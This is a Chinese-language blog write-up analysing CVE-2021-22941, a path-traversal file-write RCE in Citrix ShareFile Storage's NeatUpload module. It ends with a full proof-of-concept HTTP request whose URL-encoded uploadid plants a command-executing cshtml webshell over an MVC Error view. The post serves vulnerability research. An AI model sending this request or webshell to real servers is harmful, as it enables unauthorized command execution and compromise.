CVE-2021-22941 Citrix ShareFile Storage RCE

警告
本文最后更新于 2021-10-20,文中内容可能已过时。

# 前言

刷推特看到的,分析一下。Citrix的账号直接注册登录就行,可以下载试用。安装就不说了,server2016+iis+.netFramework48。

# 分析

官方通告说是不正确的资源控制,应该是类似文件上传。

Brettle.Web.NeatUpload.UploadContext.WritePersistFile()中找到疑似出问题的地方

image.png

其中19行str变量为缓存文件目录,真正写入文件的路径为str + this.PostBackID,文件内容为变量s

1
2
3
4
5
6
7
8
9
				string s = string.Format("{0},{1},{2},{3},{4},{5}", new object[]
				{
					this.PostBackID,
					this.ContentLength,
					this.BytesRead,
					num,
					this.StartTime.ToUniversalTime().Ticks,
					DateTime.Now.ToUniversalTime().Ticks
				});

如果this.PostBackID否可控,那么可以跨目录并且内容也是可控。

先来看Brettle.Web.NeatUpload.UploadContext.WritePersistFile()在哪里被使用过,使用dnspy的分析功能向上回溯找到Brettle.Web.NeatUpload.UploadHttpModule.Init(HttpApplication)

image.png

该类继承自IHttpModule接口,用来实现上传功能,在C:\inetpub\wwwroot\Citrix\StorageCenter\web.config也将该模块加入到模块列表中。

image.png

摘出来代码来看

image.png

第一块判断是否是上传的url,第二块判断请求中是否是multipart/form-data结构,如果是multipart/form-data,那么用FilteringWorkerRequest类实例,然后进一步处理请求ProcessRequest()。

到此为止我们清楚这个模块的作用就在于上传文件,那么我们现在来看this.PostBackID是否可控。

跟踪该变量的setter调用,在Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()找到赋值。

image.png

可见text4取决于请求中的

1
Content-Disposition: form-data; name="text4"; filename="text5"

而经过fieldNameTranslator.FileFieldNameToPostBackID(text4)处理之后其实没发生变化,如果this.PostBackID不为空直接return。

image.png

在FieldNameTranslator这个类的构造函数中this.PostBackID是由请求参数中取得,所以可控。

image.png

其中17行PostBackIDQueryParam参数配置在web.config中,id,uploadid两者皆可用

image.png

先捋一下

  1. UploadHttpModule.Application_BeginRequest()处理上传请求
  2. Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseMultipart()解析http请求
  3. Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()确保正确解析multipart请求
  4. FieldNameTranslator构造函数设置PostBackID值
  5. Brettle.Web.NeatUpload.UploadContext.WritePersistFile()将PostBackID写入文件

尝试构造

image.png

写入文件成功

image.png

这里需要注意两个点Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()中需要设置两个参数不为空,否则会直接抛出异常。

image.png

第二个是上传文件大小不得小于4096字节,在Brettle.Web.NeatUpload.FilteringWorkerRequest.CopyUntilBoundary(string, string, string)中,当this._doneReading为true会直接返回false,那么在上级的ParseOrThrow()会直接抛出异常。

image.png

this._doneReading取决于this.tmpBuffer,如下图

image.png

this.tmpBuffer为4096

image.png

所以我们只需要构造的时候大于4096就行了(亲测4096不行,4097可以= =)。

# 构造shell

因为参数uploadid不仅用于文件内容,而且用于文件路径,那么在windows中文件名是不能出现一些特殊字符的。其中尖括号导致不能写aspx、ashx等webshell,所以这里引入cshtml。

通过覆盖MVC中的现有模板来达到webshell的目的,直接上poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+a%3D1%3Bint+b%3D2%3Bstring+cmd+%3D+Request.QueryString%5Ba.ToString%28%29%5D%3Bstring+arg+%3D+Request.QueryString%5Bb.ToString%28%29%5D%3BProcess+pro+%3D+new+Process%28%29%3Bpro.StartInfo.FileName+%3D+cmd%3Bpro.StartInfo.Arguments+%3D+arg%3Bpro.StartInfo.UseShellExecute+%3D+false%3Bpro.StartInfo.RedirectStandardError+%3D+true%3Bpro.StartInfo.RedirectStandardInput+%3D+true%3Bpro.StartInfo.RedirectStandardOutput+%3D+true%3Bpro.StartInfo.CreateNoWindow+%3D+true%3Bpro.Start%28%29%3Bstring+s+%3D+pro.StandardOutput.ReadToEnd%28%29%3BResponse.Clear%28%29%3BResponse.Write%28s%29%3BResponse.End%28%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123 HTTP/1.1
Host: 192.168.137.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=boundary
Content-Length: 100

--boundary
Content-Disposition: form-data; name="text4"; filename="text5"

4097*A
--boundary--

image.png

# 参考

  1. https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html
  2. https://github.com/hoavt184/CVE-2021-22941/blob/master/exploit.py

over!

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。